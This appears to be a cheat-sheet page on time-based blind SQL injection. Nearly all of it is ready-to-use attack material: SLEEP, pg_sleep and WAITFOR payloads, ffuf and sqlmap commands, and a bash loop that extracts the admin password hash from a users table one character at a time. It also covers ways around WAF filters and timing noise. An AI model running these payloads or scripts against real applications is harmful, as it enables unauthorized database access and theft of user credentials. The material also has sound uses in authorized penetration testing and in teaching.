Skip to content

Time-based Blind SQLi

The application’s response is identical regardless of injection - but if you make the database sleep, the response takes longer. Use timing as your boolean oracle.

' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)-- -

If response takes ~5s, the condition was true. Otherwise false.

When no other technique works:

  • No errors visible
  • Response identical for true and false conditions
  • No out-of-band path available (DNS/HTTP egress blocked)

Also useful for detection before extraction - if SLEEP(5) causes a 5-second delay, you have injection.

-- Simple delay (always sleeps if injection works)
' AND SLEEP(5)-- -
'; SELECT SLEEP(5)-- - -- if stacked queries supported
-- Conditional delay
' AND IF(<CONDITION>, SLEEP(5), 0)-- -
' AND SLEEP(IF(<CONDITION>, 5, 0))-- -
-- Heavy query alternative (when SLEEP is filtered)
' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B)-- -

Identical to Boolean blind, but the oracle is “did the response take >Nms?”:

  1. Establish baseline response time (e.g., 200ms).
  2. Establish “true” response time with a known-true condition that triggers SLEEP.
  3. For each character position, binary-search ASCII via timing.
Terminal window
ffuf -w chars.txt:CHAR \
-u "https://<TARGET>/page" \
-H "Cookie: id=xyz' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='CHAR', SLEEP(3), 0)-- -" \
-t 1 \
-p 0.1 \
-mt ">2500"

-mt ">2500" matches responses over 2500ms. -t 1 keeps it single-threaded so timing is reliable.

Terminal window
sqlmap -u "https://<TARGET>/page?id=1" --technique=T --dbms=mysql --dump

--technique=T restricts to time-based. sqlmap tunes the delay automatically based on observed jitter.

Terminal window
target="https://<TARGET>/page"
extracted=""
for pos in {1..32}; do
for c in {a..f} {0..9}; do # narrow charset for hex hash
start=$(date +%s%N)
curl -s -o /dev/null \
-H "Cookie: id=xyz' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),$pos,1)='$c', SLEEP(3), 0)-- -" \
"$target"
end=$(date +%s%N)
elapsed_ms=$(( (end - start) / 1000000 ))
if [ "$elapsed_ms" -gt 2500 ]; then
extracted="${extracted}${c}"
echo "Position $pos: $c (so far: $extracted)"
break
fi
done
done
echo "Final: $extracted"
  • Network jitter - set the delay long enough to cleanly distinguish true (5s) from baseline (200ms). Don’t use 1s delays unless the network is exceptionally clean.
  • Concurrency - keep extraction single-threaded. Multiple threads measuring the same target’s response time interfere with each other.
  • Asynchronous queries - PostgreSQL’s pg_sleep blocks the request. But some Node.js/asyncio apps use connection pools where the sleep blocks one connection without delaying the response. Test with a known-true SLEEP first to confirm timing actually changes.
  • WAF time-based filtering - some WAFs strip SLEEP(. Use BENCHMARK(10000000, MD5(1)) (MySQL) or heavy query alternatives.
  • AND vs OR evaluation - AND SLEEP(5) only fires if the left side is true. If you want unconditional delay (for detection), use OR SLEEP(5) or terminate with ;.

When you only want to confirm injection (not extract data), unconditional sleep:

'; SELECT pg_sleep(5)-- - -- PostgreSQL
'; WAITFOR DELAY '0:0:5'-- - -- MSSQL
' OR SLEEP(5)-- - -- MySQL
' OR (SELECT 1 FROM (SELECT SLEEP(5))a)-- - -- MySQL with subquery

Repeat 3 times. If all three add ~5s, injection confirmed.

  • Time-based is slow. A 32-char password at 5s per character with binary search is ~32 × 7 × 5s = ~19 minutes. Plan accordingly.
  • Combine with LIMIT 1 OFFSET <N> to walk through rows when extracting multiple records.
  • For cases where the application’s response time naturally varies a lot (e.g., shared hosting under load), increase delay to 10s or run each test multiple times and take the median.